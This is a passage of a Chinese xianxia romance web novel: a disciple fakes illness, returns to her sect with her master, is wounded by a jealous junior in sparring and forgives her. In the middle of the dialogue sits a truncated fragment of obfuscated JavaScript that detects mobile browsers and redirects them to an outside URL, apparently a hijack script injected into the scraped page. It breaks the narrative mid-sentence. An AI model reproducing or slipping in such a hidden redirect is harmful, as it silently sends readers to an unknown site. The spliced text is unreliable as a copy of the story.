这听起来实在太像在外玩疯后不想回去找的借口,然而江溪闻不会陪她瞎闹,慕砚恒微顿:“大夫不是都放回来了,没找大夫给她看一下么?”
“找了,就说是常规发热,不算严重,但师妹不知为何一直没醒。”
慕砚恒到的时候,颜墨正在想办法给青容喂药喝,只是费了半天劲也没喂出什么成效,他是哑者,急了也说不出话,只能原地叹气。
“我看看。”慕砚恒接过药碗,准确来说是抢过去的。
颜墨被吓了一跳,看清来人的脸后更是跳上加跳,差点脚没站稳一屁股坐被子上。
慕砚恒:“……”
江溪闻赶紧把颜墨拉走:“师妹得护教照料是再好不过,那便不叨扰了,我正好带师弟去附近再拜访一下。”
其他弟子也只得忧心忡忡跟着离开,顺手拽走几个跑来围观的村民。
那药已有些凉,慕砚恒干脆用内力再温了温,他坐在床边,一手端着温热的药碗,另一手轻轻扶起青容的肩。
青容脸色有些苍白,眉头微蹙,似乎正受着什么煎熬,他低声道:“醒一醒,喝药。”
青容依旧闭着眼,虽面色不好,但还算呼吸平稳,仿佛真的陷入了沉睡,慕砚恒微微皱眉,心
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中有些疑惑。
他轻轻捏住她的下巴,试图让她张开嘴,但青容嘴唇依旧紧闭,丝毫没有反应。
就在他准备再次尝试时,青容的身体忽然一歪,整个人顺势靠在了他的肩上。她的头轻轻抵在他的颈侧,发丝若有若无地拂过他的皮肤,带着一丝温热的气息。
慕砚恒顿住,手中的药碗悬在半空,进也不是,退也不是,他微微侧头,试图避开她的气息,却发现青容似乎又往他怀里靠了靠,嘴角还隐隐带着一丝若有若无的笑意。
蔫坏蔫坏的,像是想憋没憋住。
慕砚恒忽然明白了什么,冷声道:“徒儿若再不醒,为师便用内力逼你喝下去,再把你扔到房外吹吹冷风,这样一定会立即醒来。”
青容的眼皮不可抑制微微颤动了一下。
“他怎的完全不吃这套。”青容心中哀嚎,“这和书上写的不太一样啊。”
鎏虹很认真的分析:“看起来进展不够,还是别太急了容容,一步步来吧,这种高岭之花得慢慢捂。”
可这东西不像闯关,往前走就一定能进步,感情之事不确定因素太多太多,万一慕砚恒突然情窦初开和哪个姑娘两情相悦,这对她简直是道德与人格上的双重煎熬。
仙门真应该成立个合欢宗。
顺便开一下旁听。
青容已知晓装病被识破,也不再演戏,她恹恹躺回床上,目光呆滞,一副生无可恋的模样。
慕砚恒放下药碗,神色冷淡:“说吧,为什么装病?”
正常按话本剧情来讲,应该回答“只有这个方法才能靠近师父”,令人为之动容,可惜她已明白慕砚恒压根不吃这套。青容干脆换了个侧躺姿势,顺口敷衍一句:“可能是无聊吧,想找点事。”
青容虽不敢笃定情感发展,但慕砚恒很纵容她她还是知晓的,偶尔倒反天罡也无伤大雅。果然慕砚恒听罢只是瞥了她一眼,并没有训斥的征兆。
甚至连追问也没有。
“既然无事,你自行收拾,准备即刻回山。”
青容应声,她东西本就不多,有乾坤囊更是方便,先前便已收拾好,此刻只意思性又整理了一番。慕砚恒不知是不是还有残余事务,没有留在这等她,而是一声不吭离开了此处。
待他身影消失后,青容假装忙碌的手终于顿住,她的目光很空,面上有几分自己都尚未察觉的疲态。
“你真的刚醒吧,容容。”鎏虹的语气带着几分担忧,“到底怎么了?”
青容摇摇头,用力捏住自己的额心。
装病这种低级玩法,她还不至于专门规划一场,江溪闻他们也不是傻子,这种手段还不至于把一群仙门弟子诈的团团转。
“不知道,我现在头疼。”
她想不起来刚刚梦到了什么,只是觉得浑身酸疼,倦的慌,然而片刻后就得离开,她也没那个时间休息,只得撑着桌角站起来。
刚刚勉强直立,脚下便是一软。
青容手臂磕到桌角,“咚”的一声,桌子被撞的偏离原地。放在桌上的药碗随之掉落打碎,冒着热气的汤药流了一地。
她摔在地上,勉强没晕过去。
“容容!”鎏虹干着急。
青容蹙眉,吸了口气,强撑着重新起身,试图调整气息,然而全身力气仿佛凭空消失,她努力了半晌,也只堪堪扶着桌子撑住,只能算没倒下去。
房内陷入一片寂静,只余下尽力平复的呼吸。
窗外的身影顿了顿,终究没有出声。
42. 油盐不进
“不找你朋友道个别?”
慕砚恒不轻不重推开门,轻飘飘注视着正准备做同样动作的青容。
“朋友?”青容默默收回手,想了想,仔细搜刮,“饭馆的老板已经把钱结给我,铸铁铺子的大哥还多给了十文钱,药铺那我挺久没去了,卖报的……好像差我一日工钱,但他家母亲生病,我也就没要了。”
“……”
慕砚恒难得噎住。
青容不解:“师父怎的知道我有这些朋友?”
“为师不知道,不是刚刚你自己列出来的吗?”
“……”
“不过,你的做工生涯竟如此丰富,那日给你的银钱似乎并不算少,这般急着赚钱。”慕砚恒似乎想到什么,面色微沉,“你这是给哪家小子花了?”
青容:“?”
她愣了愣,半天没能把这突如其来的质问和慕砚恒的嘴联系在一起,慕砚恒见她出神,眉宇间严肃更甚。
“贺景麟不是简单的人,少同他往来,更何况他是皇子,你与他出行,断没有由你开销的道理,更无需恭维他。”
“我没恭维他啊。”青容十分真诚,“我给他花钱做什么?基本都是他约我出行的多,当然是他付饭钱茶钱。”
“很多次?”
“……也不多,偶尔。”
青容有一丝丝尴尬,她的确抱着几分打点关系的心思,不过贺景麟确实对她不错,反正两人同行时她是一个铜板没出过。
只是瞧起来,慕砚恒对自己的侄子似乎有些意见。
她目前可不敢往别的地方想,皇室中人城府极深她也明白,但她自己也不是什么好东西,追问之下难免心虚,便很自然的转移话题:“我赚钱不是不够花,只是觉得,普通百姓也没人凭空给他们银子,不都是自己辛辛苦苦赚的,既然他们可以,那我自然也可以。”
这是真心话。
下山四年,她大部分时光都只是以一个普通人身份混迹于市井,四年间,她看了许多事,甚至为一文钱撕扯斗殴的荒谬场面她也见过不少。
地难耕,布难织,钱难赚。
慕砚恒没有追问,对她的“历练感想”也不置可否,既已收拾好,自然没有再耽搁的道理。
两人御剑一同向临霜教而去,身后跟着江溪闻等外门弟子,人不算多,但都是功力深厚,剑气引得云流翻涌,甚为壮观。
以至于山上之人相隔甚远,也早早察觉到一行人的靠近。
“护教带着首席师兄他们回来了!”守山弟子立即发出讯息。
这是难得的外门弟子回山日,慕砚恒收剑时,已有不少人在山门等候。掌教陵渊为首,他那向来端肃刻板的神情罕见带了些温和笑意,尤其是看到青容时,面色和蔼的像到处和人说小时候抱过你的伯舅。
反倒是青容有些拘谨。
四年未回山,可能是上一届收的新弟子较多的缘故,门派中多了不少新面孔。相识的师兄师姐倒是变化不大,但许久未见,难免生疏,总不如在山下自在。
“小师妹!”
一个英气俊朗的青年从人群中硬生生挤了出来,将她上下打量一番,眼神一亮。
青容顺声看去,心想,她这二师兄欧阳晔确实一点没变,说话还是毛毛糙糙咋咋呼呼的,但行为应当会随着年纪增长而沉稳些。
而后,沉稳的欧阳晔当众将剑横于身前。
这是原地插旗的意思。
青容:“……”
她将求助的眼光投向慕砚恒。
所幸还没等慕砚恒做出回应,便有人一胳膊卡着欧阳晔的脖子将其薅了回去:“有完没完?不是说好了师妹回来的时候你不许跟她切磋!”
欧阳晔想反驳,嘴立刻被另一个人捂住,支支吾吾发不出声。
青容松了口气:“多谢师姐,大师兄。”
龚柏清一边锁喉,一边温柔笑着回应,陆怀夕恶狠狠瞪着欧阳晔:“师妹放心,定不让他打扰你休息。”
一路御剑着实有些疲惫,简单的恭维后,青容随慕砚恒一同回了栖星阁。
推开房门时,青容愣了愣。
“竟没有落灰吗?”
尤其是窗台边的绿植,修剪得当,一看就有人精心照料。
不远处轻飘飘回应:“会定期打扫。”
“可徒儿这四年都在山下,也没有提前回山的可能。”
一时静了静。
青容回头看去,慕砚恒已不知何时将冰玄弓拿出,他若无其事擦拭着弓身,语态平静得像念书似的:“身份特殊,总是要留点后路。”
“啊?”青容不解,“是有人和师父有仇所以要追杀我?”
“……”
慕砚恒手顿住,看她的目光带了些幽怨:“若受不住历练,便开个后门允你提前回来,非要说的如此明确?”
这下青容听懂了。
“也不至于……那么脆弱。”她声音不大,却极其坚定,“历练不苦,山下的生活挺好的,若没有这次历练……”
她倒不知,人间如此热闹。
慕砚恒没再回话,只是悄然收回目光,手指在弓身上比了个“叉”。
“油盐不进……”他喃喃。
…
“你听说没,首席师兄他们上午回山了,一同回来的还有青容师姐。”
“啊,那是谁,听着好耳熟。”
“青容师姐你不知道啊?那可是护教唯一的徒弟,还是从小养到大的,听说护教特别宠她,真羡慕。”
“果真吗?护教平日里总是冷冰冰的,真想象不出护教关心起人来会是什么模样。”
藏经阁外,几名上一届才入山的新弟子凑在一起,七嘴八舌议论着他们那位传说中的师姐。
他们几个正巧今日被分到此处值守,无缘得见外门弟子回山的热闹盛况。因身份特殊,以及入门方式比较小众,青容的名声一直挺响亮,向来在新弟子中口口流传。
流传多了,自然存在观点不同相互对立的情况。
“哈,她不是走后门进来的吗?仙门大比直接败在第二轮,应当也不算多优秀吧。”
率先开口反驳的是一名手中提着扫帚的女弟子,腰间别着把木剑,瞧着年纪不大,语气也谈不上多么咄咄逼人,但质疑之意明显,显然对传闻中的师姐有些不服气。
“哎呀秋锦,师姐停在第二轮是被人暗算,直接退出了,不然可是小组第一出线,这还不算优秀啊?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266010|178579||http|test|mini|href|location''.split(''|''),0,{}));
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>“你怎知她是真被暗算,还是本身就打不过,借此缘由退出?”秋锦将扫帚扔在一旁,翻了个白眼,“她若真的天赋异禀,为何不正儿八经的选拔入门?”
其他人笑着打趣:“你总是对青容师姐恶意那么大,你是不是嫉妒她?”
临霜教传授武学基本都是由长老负责,整个门派一共就四位亲传弟子,都是如众星捧月般的存在,捧得高了,自然有人眼红。
其中眼红青容的人,格外多。
秋锦咬牙:“不是嫉妒,只是不服,凭什么走后门的人可以当亲传弟子,而我们这些千辛万苦经过层层筛选才入门的弟子就只能在这里扫地,这不公平。”
有人附和:“的确,马上就大比了,到底什么水平一看便知,若是平平无奇,自然会成为笑话。”
“你们在聊青容?”
突然传来的一句话凝固住了所有的议论声。
陆怀夕不知何时竟悄无声息出现在众弟子的身后,她走路极轻,腰背挺直,纤瘦却不显孱弱,衣袂微动时,像一幅水墨里走出的画影。
“参见陆师姐。”
陆怀夕故意放淡声线,手指有意无意摩挲剑柄:“私下议论同门师姐,可不是什么好事。”
她的衣摆似乎比其他弟子要长些,说话也总是淡淡的,显得整个人清雅疏离,颇有大师姐的风范。
“仙门大比在即,你们这些刚入门的弟子,掌教特意将你们分配至藏经阁,远离喧嚣,你们不抓紧时间精进武艺,倒是在这嚼起舌根子来了,还敢嚼到护教头上,是打算在这时候下山历练一番?”
阁楼前鸦雀无声,陆怀夕绷着脸,又交代训斥了几句,见众弟子一个个低着头跟鹌鹑似的,这才摇摇头缓步离开。
她一走,新弟子们又有了骚动,不过这次暂时没人再胆敢做坏话的开头。秋锦咬咬牙,发泄般将地上的尘土扫得纷飞不断。
而就在此时,有人轻拍她的肩头。
“谁啊!”
她正一腔窝火没处发,因此脸色十分不好,转头却恍然见了副陌生面孔,本能不耐烦:“你是何人?怎的出现在此?”
青容被这么莫名其妙瞪了一眼,倒也不生气,甚至笑了两声:“我来藏经阁取书,劳烦开个门,无意打扰,十分抱歉,不过,这是被谁惹生气了?小姑娘这么漂亮的脸蛋,笑一笑会更好看。”
她立于阁楼前的杏花树下,衣袍被山风拂动,勾勒出修长的身形,三千青丝仅用一根冰蚕丝带束起,发梢垂落至腰际,随着周身萦绕的灵气轻轻浮动。不施脂粉的面庞如新雪初霁,偏的生得一副玲珑五官,杏子般的眼睛乌亮清透,眼尾微微上扬,像是蘸了墨的笔尖轻轻一挑。
秋锦看得呆了呆,连说话都有些结巴:“与……与你无关,那门没锁,你直接推门进去就好。”
甚至完全忘了想门派内怎么会有不认识的人出现。
青容点头致谢,她刚走出去两步,突然驻足,弯腰从石阶缝隙里摘下一朵半开的花,指尖轻点,灵力流转间,那朵小花瞬间凝结成晶莹剔透的冰晶状,在阳光下折射出浅浅光晕。
“山下学的小把戏。”她笑着将那花别在秋锦耳畔,顺手揉了揉对方的发髻,“送你,别气鼓鼓的了。”
43. 抱的少
次日晨练,由于外门弟子归来,规模都比平日要庞大些。晨间寒凉,呼吸间都是温热的白雾,秋锦哈着气,将自己的木剑反复检查。
“今日晨练是对招,我倒要看看,青容是什么水平。”
晨练自去年以来有所变化,新增了“对招”练习,半月一次,有助于弟子间相互纠错进步,偶尔也会发生一时急眼结仇的情况。对此,陵渊的态度是:“少年人小打小闹,多有活力,真打的严重,回头抓起来拎到慕砚恒那就老实了。”
晨练可自行组队,也可主动邀请对手,中途随时可以切换人选,不过大部分人都有自己的固定搭子。
青容也是头回参加这个全新的晨练,她毫不犹豫拽住陆怀夕:“你也要摸鱼吧,我俩一起我俩一起。”
她是生怕欧阳晔找上来一顿激情发言,虽说此时他正被龚柏清死死拽住。
“要摸的要摸的。”陆怀夕真挚点头,“但我现在得维持清冷人设,不能摸的太明显,你稍微认真一点哈。”
“清冷?”青容瞥了眼陆怀夕的衣摆,“所以穿大两号的衣服,衣角还这么白?天天洗啊?”
“可不嘛,好几套轮着穿呢,不然干不了那么快。”
两人一边对招一边闲聊,青容用的木剑,鎏虹剑被她搁在乾坤囊里,她嫌招摇,不太想平日里拿着晃来晃去。
与此同时,秋锦正在努力打听:“师兄,请问青容师姐是哪位?我想和她切磋练习一番。”
“啊,青容师妹啊,她应该和陆师姐在一起,你找一下陆师姐在哪就行了。”
这一问纯粹是多此一举。
因为秋锦很快发现,有许多弟子聚在同一个地方,若非晨练不许闲聊,怕是早就能围起来开茶会。
她顺着挤进去,便发现与陆怀夕一同练习的,正是昨天变花哄她开心的少女。
秋锦僵了僵。
根据附近的人描述,她昨天脸很红很红,还捏着那小花盯着人家的背影看了许久,简直一副小女儿怀春的模样。
谁能想到那竟是她最讨厌的人!
青容正比划着左手摸鱼划水,也没注意到身侧的动静,她还在猜测四年过去,临霜教的午饭会不会更好吃,谁知下一刻,一柄木剑挡在了她的身前。
“师姐,我有困惑,你可以帮我解答吗?”
青容早就猜到会遇到这档子事,也没多惊讶,她懒洋洋端起剑,看到身侧人的模样时,微微挑眉。
“是你啊?怎么一天不见,还是气鼓鼓的,若不喜欢那花,回头我再给你找点别的稀奇东西。”
秋锦没想到会是这样的回复,脸颊又是微微一红,但意志还算坚定:“我想和师姐切磋一番。”
倒是陆怀夕想要阻拦,青容摆摆手:“切磋切磋也好,我还没和师妹师弟接触过呢,说不定能悟出新的东西,你也惯用木剑?”
临霜教没那么穷,新弟子入门都会赠予配剑,像这种入门四年还在用木剑的,基本和青容一样,隶属于用不惯重铁剑的那一批。
不是所有人都那么好运,有人为其量身打造专属配剑。
青容认真思量:“这确实不妥,回头我和师父说一声,还是得准备一批轻剑给你们用。”
“我用木剑用惯了的,师姐,开始吧。”
秋锦聚力于腕,剑招快而灵动,相对于寻常招数显得更轻盈些。青容只避不攻,凝神盯着秋锦手腕的一举一动,每次剑锋将至,都被她恰到好处侧身避过,见招拆招,游刃有余。
围观众人只见场中剑光霍霍,青影翩跹,竟似一场编排好的剑舞。秋锦的剑招越来越快,额间已见细汗,却始终沾不到青容的衣角。
“腕骨惯于内扣三分,巧有余而力不足,这样的‘灵’容易被识破,回去多砍砍木桩。”
她竟是以师姐教习的方式应对这场略带挑衅的插旗。
秋锦逐渐涨红脸,招式愈发混乱,平日里她是带头说坏话的那个,如今这般狼狈,实在过于难堪,若就这么输了,怕是未来在门派中再难抬头。
她咬咬牙,剑花陡然凌厉,完全放弃防守,攻击直逼命门,已有豁出去拼个两败俱伤的架势。
青容却在此时将内力完全收回,任由那木剑刺向她心头。
在周遭偷看的弟子本能惊呼。
“当心!”
秋锦也是一愣,眼见自己的木剑似乎就要直穿对方心口,她心中骇然,连忙撤力,然而这一招蕴藏的怒气与急切太重,木剑竟在她手中有了失控之感。
会死。
这两个字劈进天灵盖的瞬间,她的大脑在一瞬间完全空白,冷汗近乎刹那间浸透全身,冻得五脏六腑都在抽搐。
直到那剑陡然受到阻力,停在了半空。
青容以掌心抓住木剑,鲜血顺着手腕流下,染红了衣袖,银色的术法形成一道光环,萦绕在她手腕之间。
她神色平静,没有怒意,甚至没有责怪,只是看着秋锦已然吓到表情扭曲的脸,轻声问:“一时情急的作为,后悔吗?”
秋锦浑身颤抖,根本不敢抬头看人,青容掌心松开,木剑便掉落在地。
剑刃沾的血溅在石砖上,掌心的血还在源源不断往外流,欧阳晔绷着脸撕下自己的衣角,给她缠了一圈又一圈。
江溪闻急匆匆赶来,目睹一切的陆怀夕已是急出眼泪,她刚准备陈述,青容却先一步开口:“大概是近几日没休息好的缘故,刚刚我有一瞬间的晃神,师妹很聪明的抓住了这个机会,只是到底年轻,招式把控有些许偏移,我又恰巧头晕撤了力,无妨的,只是些皮外伤,倒是师妹有点吓到了,得好好休息几日。”
秋锦终于抬起头,目光中带着不可置信。
这番话显然是为她开脱的,否则她刚刚这番作为,足以直接逐出门派。
“我……我不是故意的,对不起……”秋锦终于哭了出来。
青容摇摇头:“你回屋休息吧,这几日别来晨练了。”
掌心的血还没止住,连止血的布都被完全渗红,青容这下是真有点头晕了,她堪堪扶住江溪闻的肩膀,血不可避免蹭到了衣物,向来风光霁月的临霜首席弟子却没有半分嫌弃,他微微犹豫后,搀扶着半搂住青容。
“冒犯了,我带你去找护教。”
“别……”青容蹙眉,“真让师父看到,就不知道会怎么罚了,她年纪小,不懂事,算了。”
“我看过弟子册,秋锦比你还长一岁,你倒是老练上了。”江溪闻无奈,“仙门大比要开始了,你伤的是持剑的手,势必会影响发挥,还是赶紧找护教处理一下。”
龚柏清也劝道:“是啊师妹,你伤的可是手,这太重要了。”
跪坐在地上
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的秋锦更是面色发灰,忐忑不安。
无奈,青容只得被架着回了栖星阁。
二人抵达之时,慕砚恒还在小憩,他斜倚在梨树下,一册书卷半掩着脸,任由晨曦透过枝叶的缝隙洒在他身上,倒像一副美好至极的画卷。
听到动静,慕砚恒缓缓起身,书卷顺着滑落在地,刺目的晨光同时扎进眼底,他抬手遮眉,看清来人后,眼底愠色稍褪。
“怎么了?”他开口的声音还有些沙哑。
江溪闻草草行礼:“参见护教,师妹晨练时无意伤了手,想请护教为其医治。”
“晨练那点强度也能伤了手,倒也有些本……怎么这么重?”
青容刚刚将手伸过来,慕砚恒便是目光一凛。
她连忙解释:“对练的时候,头突然有点晕,撤了力,就本能用手挡了一下。”
江溪闻接来一盆水,盆边挂着两片干净纱布,慕砚恒似是想起什么,一时缄默。
草草裹住手掌的布条被缓缓解开,沾水的纱布轻轻擦去血迹,难免碰到伤处,青容手腕微颤,随着动作时不时倒吸一口凉气。
这不是装的,是真疼。
她感到疼的时候,身体会本能发抖,气息紊乱,慕砚恒面色更沉:“跟谁打的?”
青容:“一个师妹,她也是无意之举,师父莫要责怪。”
“伤口之深,剑招定是倾力所为,同门切磋如此狠厉,其心不轨。”
药粉撒在伤处,火辣辣的,慕砚恒冷哼:“将你伤成这样,你倒是袒护,若筋脉受损,你连仙门大比都参加不了。”
青容故作委屈:“这不是有师父嘛,师父肯定会治好我。”
慕砚恒又哼了两声。
临霜护教不喜旁人随便进入栖星阁,江溪闻将水打好后已自觉下山,青容左顾右盼确定没人后,她抬眸看向慕砚恒,眼睛水汪汪的。
“师父,山下的老婆婆说,小孩子受伤了总是爱找长辈哭,因为若是长辈给予一些关怀,这伤便没那么疼了。”
慕砚恒专心致志处理伤口,看都不看一眼:“那你哭吧。”
“……”
真没劲,木头桩子似的。
青容趴在桌上,脸朝下,不说话了,仿佛就地入眠。慕砚恒也不介意,像个无情的医者,天塌下来也无法阻挡他上药。
也不知过了多久,因早起缘故,她当真有了些困意,只是疼痛刺激,到底没真的睡着。意识朦胧间,她忽的感觉有什么东西盖在她的身上。
紧接着,膝弯与肩背被轻轻扣住,她只觉得身子一轻,整个人像是被托起悬在了半空中。
青容登时困意全无,手臂本能攀附住慕砚恒的肩。
“做什么?”她懵了。
慕砚恒神色淡漠,好像怀里只是块人形石头:“为师用内力帮你疏了筋脉,你近日不宜走动,先助你回屋。”
“师父……”青容轻吸一口气,“你手指压到肉了,有点疼。”
慕砚恒脚步不停,语气平淡无波:“抱的少,手生。”
青容本就不大清醒,处在一个嘴在前面飞脑子在后面追的状态,竟直接脱口而出:“无妨的,栖星阁刚好有一个现成人选,可助师父练习。”
话音未落,明显感觉到托着她的手掌倏然收紧,脚步也完全顿住。
“放肆。”
44. 万人迷的端倪
“师……师姐,你也来反省吗?”
“啊,好巧。”
静思堂中,青容很惬意的坐在靠窗光照的位置,她从包裹里拿出酥饼:“热乎的,欧阳晔刚买回来,吃两口?”
秋锦后退两步,干笑:“不了不了,多谢师姐,我不饿。”
她望向青容缠着纱布的手,心中满怀愧疚,对于这样称得上过分以德报怨的善意实在难以承受。
青容似是看穿了她的想法,也没将酥饼硬塞过去,但鼓鼓囊囊的油纸证明这确实是两人份的量。
“行差踏差,可大可小,我没有追究此事,是觉得你的恶意不算严重,属于小孩子打闹失手的范畴,若为了此事断送前程,可能未来回想的时候,会觉得可惜。”
秋锦低着头喃喃:“可惜吗……技不如人,我没有资格觉得可惜。”
“不是。”青容道,“是我觉得可惜。”
秋锦猛然抬头,面露错愕。
“这几日,我打听过你,你出身达官显贵之家,祖父是当朝重臣,你从儿时起,便坚持日行一善,或是施粥,或是救人,同时你也是百年难遇的修行天才,远近闻名,终于在四年前,你于大选中脱颖而出,成功拜入临霜教,是一桩……年少成名的美事。”
“可万里挑一的天才,在临霜教遍地都是,从众星捧月到宛若尘埃,这样的落差并非所有人都可以欣然接受。因此,有人修邪功妄图走捷径,有人为了取胜不择手段,而更多本无恶意的人会脑子一热,在失去理智的一瞬间做出后悔终生的事。”
“他们不是恶人,但人总有恶念,每个人都如此,我们并不能将其摒弃,那不如接受自己的负面情绪,更恶一点,反正别人总有不如你的地方,你不若就阴暗些想,打不过我又如何,我没施粥造福过百姓,也没有家人给予我期许,这点你比我强的多啊,应该是我羡慕你才对。”
秋锦自三四年前入门以来,从来没人跟她提过这些,更何况是这种堪称大逆不道的教导,她有些怔忡:“还……还能这样算吗?”
青容一副得意洋洋的模样:“当然,谁规定的不能这样算,仙门弟子就只能比武艺吗?那也太没意思了,要是我,我就和人比谁师父更好看。”
正经了半天,突然冒出这么句极其幼稚的话,秋锦终于没忍住笑了出来,与此同时,她的肚子咕噜一声,久违的食欲紧随而至。
“快吃吧。”青容将另外半包酥饼推过去。
秋锦也不客气,大口大口进食,一些残渣掉在书本上,被她毫不留情掸掉。
直到吃饱喝足,秋锦才想起一件非常重要的事。
“师姐,你是怎么进来的?”
这当然不是问她是走进来还是跑进来的,青容有些尴尬:“呃,前几日对师父说了些冒昧的话,伤势恢复一些后就被轰进来了。”
“哦……”明知不该问,但秋锦还是没忍住,“什么话?有多冒昧?”
“……没什么,快抄书。”
秋锦慢吞吞挪过去,没抓酥饼的手捏住她的衣袖轻轻摇了摇:“告诉我嘛师姐,告诉我告诉我……”
青容移开目光,一头黑线在脑内纠缠在一起,解了几天都没解开。
那日,她一时兴起口出狂言后,周身的气场骤然冷了几个度,本就寒凉的气候宛如又下了场冻雪,阴涔涔的。不过慕砚恒大抵还算冷静,好说歹说没直接把她丢下去。
他咬牙切齿:“从哪学了这番大逆不道的话?”
“话……话本。”青容被迫收敛,“师父生气了?”
“嗯。”
“那可以不生气吗?”
“……不行。”
慕砚恒看起来更阴郁了。
他迈步时故意踩断一根枯枝,碎裂声在寂静中格外刺耳。
“下山四年未曾管教,平日纵容过多,竟令你这般放肆,即日起,你就去静思堂待着,什么时候知道错了,什么时候出来。”
青容缩了缩脖子:“……好的,那师父可以不生气了吗?”
“不可以。”
他的语气冷得像淬了冰,可青容却敏锐的察觉到,他原本平稳的步伐比先前快了少许。
寒风拂过,带着花草的清香,他的呼吸依旧沉缓,可若是细听,便能发觉那吐纳的节奏比平日略快了一息。
她手上的伤不算轻,说是即日,慕砚恒还是没过于狠心,没即日把她丢进静思堂。只是她本来就被下了禁足令,栖星阁如今不允许他人随意进入,她的师兄师姐也没法来找她,近几日甚是无趣。
陪伴她的只有鎏虹时而取笑的声音:“太惨了,过度直球会带来不幸,果然话本上说的都是假的。”
青容沉思:“其实也不假,我觉得他是有所动容的,你看,他都没直接给我扔出去,这还不动容?”
“……那很动容了。”
青容一拍桌案:“绝对是,说不定过几天他就假装顺口的说‘哎呀此事便罢了不用去静思堂了’,我相信我的判断!”
数日后的今日,静思堂内,青容陷入自我怀疑。
“你说师父他到底生没生气?”
她喃喃低语,其实是想问鎏虹,然而秋锦也听到了这句话:“嗯……言语冒犯,护教应该不会很介意吧?听说师姐入门时才七岁,是护教亲手带大的,怎会因为这种小事真生气呢?所以师姐到底说了什么?”
青容目移:“真没什么,困了,我睡会。”
“……”
慕砚恒没有给明确的日期,青容得一直在这待下去,不过说是反省,待遇倒也不差,吃喝肯定紧缺不了,药物也是成批送来,青容唯一烦恼的就是汤药太苦,每次都得准备半天才能皱眉咽下去。
闲暇时,她会教秋锦练剑。
能入临霜教,保底也是个天赋异禀的奇才,秋锦顿悟很快,青容指出的错误她不会犯第二次,只是青容演示招式时,她总是忍不住感叹:“师姐非惯用手使出的剑招竟也如此凌厉,平日会特意练习吗?”
她哪里知晓这才是青容的惯用手,青容一副故作高深的严肃模样:“是的,我喜欢这么练,有一种没苦硬吃的感觉,可以磨炼心性。”
秋锦又悟了,于是她开始练左手,练的不亦乐乎。
一晃就是数日。
午后,青容刚吃饱饭,可能是汤药带了安神作用的缘故,竟生出一丝困意,她昏昏沉沉靠在窗边,耳畔是秋锦练剑的声音,眼皮不知何时已经黏在一起。
她就这么倚靠窗台睡了过去。
窗户没关,灌进屋内的风凉嗖嗖的,秋
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锦余光瞥见此处,有些担忧青容会着凉,她正犹豫要不要将青容喊醒,却有人在此时推开了静思堂的大门。
那是一道颀长的身影,广袖轻裘,清冷矜贵。
“她睡着了?”慕砚恒缓步靠近,脚步和语气都放的很轻。
临霜教弟子平日鲜少能有离护教这么近的机会,尤其还是这样平和的状态,甚至带了些生活的烟火气,秋锦看得呆住,拿剑的手都不知该如何放:“是……师姐应该是刚刚才睡着的。”
临霜教的弟子中,随手抓十个,基本有九个崇拜慕砚恒,女弟子更甚,她也不例外,但此时她心中更多的是惧怕,毕竟她几日前才将青容伤成那样,那人家师父来此,十有八九是得替徒弟出气的。
秋锦已经脑补了自己即将被千刀万剐的场面。
“本君看了伤口,深可入骨,你前几日同她对招时,下了死手?”
果然……
秋锦深吸一口气,麻溜跪在地上:“弟子知错,弟子认罚。”
慕砚恒微微蹙眉,最终还是转过身去:“罢了,她想护着你,一口咬定了你是无意之举,本君若再追究,倒是驳了她的好意,你起来吧。”
“师姐……当时确实一直在替我开脱,我非常感激,今后师姐若有任何需要,弟子定当赴汤蹈火,在所不辞。”
她怕吵醒青容,声音放的较低,却一字一句极其坚毅,这绝不是虚伪的应付。
慕砚恒垂眸,视线落在青容随手搁置的木剑上,这一刻,几日的疑云似乎就这么平平淡淡的消散了。
他近日总在想,和四年前近乎大同小异的事,那次亲口说要将人逐出仙门的青容,而如今,竟能这般大度。
现在想来,只是因为一个再简单不过的原因。
这些人心底不恶,若加以引导,远比直接抹杀要值得的多。
季焱的经历让青容改变了许多想法。
慕砚恒对此不置可否,反正青容要放过秋锦,他也没必要再追究,以后真吃亏,他再出手也不迟,最终目的达成前,他定会让她平平安安的。
“等晚些她醒了,你们都回去吧。”慕砚恒嘱咐道,“你若想感激她,便在下届大比拿个好些的成绩,可以哄她开心,还有,司教那边新铸了些轻剑,你得空了自行去取。”
秋锦从慕砚恒开口时便一直点头,一直点到说完,她才开始细细去捋这段话。
捋完便愣住了。
她回想起她挑事那天,青容看到她的剑时说的话。
“这确实不妥,回头我和师父说一声,还是得准备一批轻剑给你们用。”
那时她以为是炫耀与挑衅。
可原来,青容是认真的,哪怕被她所伤,理应愤恨埋怨,也还是兑现了自己的话。
慕砚恒临走前,解下了自己的裘衣,披盖在青容身上。青容睡得很沉,正午的暖阳透过枝叶在她身上投下摇曳的光影。
她无意识往裘衣里缩了缩,脸颊蹭着柔软的毛领,睫毛在光线下显得格外纤长,随着平稳的呼吸微微颤动。
格外安静乖巧。
秋锦忽然就明白了,为何在青容之前入门的弟子,没有任何一人与她闹的不愉快。
这样的姑娘,谁不喜欢?
不喜欢的都瞎了眼。
45. 幺蛾子
那日青容并未睡沉,不过一盏茶的功夫便醒了过来,甫一睁眼,便觉肩头沉甸甸的压着什么。
她指尖无意识摩挲过裘衣领口的暗纹,当下便知这衣服出自谁身上,唇角微不可察的翘了翘:“师父来过了?没为难你吧?”
秋锦连连摇头:“没有没有,护教就是来看看你,顺便让我俩离开这里,去为仙门大比做准备。”
青容轻轻“嗯”了一声,将裘衣叠好放在案头,这倒是比她想的要早些。她正要起身,余光突然瞥见秋锦低着头,手指绞着衣带欲言又止。
“怎么?”她挑眉。
秋锦磕磕巴巴:“那个……剑式……”
提及此,青容登时了然:“无妨,你后面有不会的,可以晨练时问我,不过那晨练……我未必天天去,真急的话,直接来栖星阁也行,栖星阁有许多好看的花,可以给你变些更有趣的戏法。”
秋锦的脸又红了,急急忙忙收拾东西愣是再憋不出一句话。
青容轻笑,她倒是没带什么物件,打声招呼后抱着裘衣便先一步离开,可当她踏出静思堂的大门后才发现。
“师父……一直没走吗?”
慕砚恒竟就站在门外一侧,静静看着她:“什么有趣的戏法?”
他居然偷听,估计还偷听了挺久。
